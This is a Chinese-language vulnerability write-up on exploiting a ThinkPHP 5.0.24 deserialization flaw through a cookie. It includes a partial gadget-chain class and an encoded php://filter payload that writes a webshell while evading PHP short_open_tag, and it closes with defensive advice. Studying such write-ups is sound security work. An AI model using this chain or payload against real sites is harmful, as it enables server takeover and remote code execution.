thinkphp5.0.x反序列化之遇到php开启短标签
字数 1083 2025-08-25 22:59:02
ThinkPHP 5.0.x 反序列化漏洞利用与短标签绕过技术分析
漏洞背景
本文详细分析ThinkPHP 5.0.24框架中的反序列化漏洞,以及在PHP短标签(short_open_tag)开启环境下的特殊利用技术。该漏洞触发点在于未登录用户访问浏览过的商品时,商品信息会被序列化后存储在cookie中,通过替换cookie中的序列化数据可触发反序列化漏洞。
漏洞分析
初始Payload分析
初始Payload利用ThinkPHP框架的反序列化链:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()]; // 触发Model __toString()
}
}
// ... 其他类定义 ...
完整利用链:
Windows类反序列化触发- 调用
Pivot类的__toString()方法 - 通过
Model类的getError()方法 - 最终利用
File类写入Webshell
遇到的第一个问题:属性可见性问题
初始Payload在实战中失败的原因:
Model类中的$parent属性定义为protectedPivot子类中的$parent属性为public- 这种不一致导致属性赋值失败
解决方案:
将Model类中的$parent属性修改为public
遇到的第二个问题:PHP短标签冲突
当成功写入Webshell后,访问时出现错误:
PHP Parse error: syntax error, unexpected 'rkvg' (T_STRING)
原因分析:
- 网站开启了
short_open_tag选项 - 写入的文件内容经过
string.rot13编码后包含<?短标签 - PHP尝试将
<?后的内容解析为PHP代码导致语法错误
绕过技术实现
过滤器选择与编码转换
为了绕过短标签问题,需要:
- 避免写入
<?标签 - 同时保持Webshell功能
解决方案:
使用convert.iconv.IBM1390/UTF-8过滤器替代string.rot13
构造有效Payload
最终Payload构造方法:
'path' => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource='.urldecode('%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%25')
技术要点:
- 使用IBM1390编码转换
- 对Webshell内容进行URL编码
- 避免直接写入
<?标签
完整利用流程
- 构造修改后的反序列化Payload
- 将Payload作为cookie值发送
- 服务器反序列化后写入特殊编码的Webshell文件
- 访问生成的Webshell文件路径执行代码
影响版本
经测试确认影响以下PHP版本:
- PHP 5.6
- PHP 7.0
- PHP 7.1
- PHP 7.2
防御建议
- 升级ThinkPHP框架至最新版本
- 关闭不必要的PHP特性(如
short_open_tag) - 对用户输入的序列化数据进行严格验证
- 使用自定义序列化处理器替代PHP原生序列化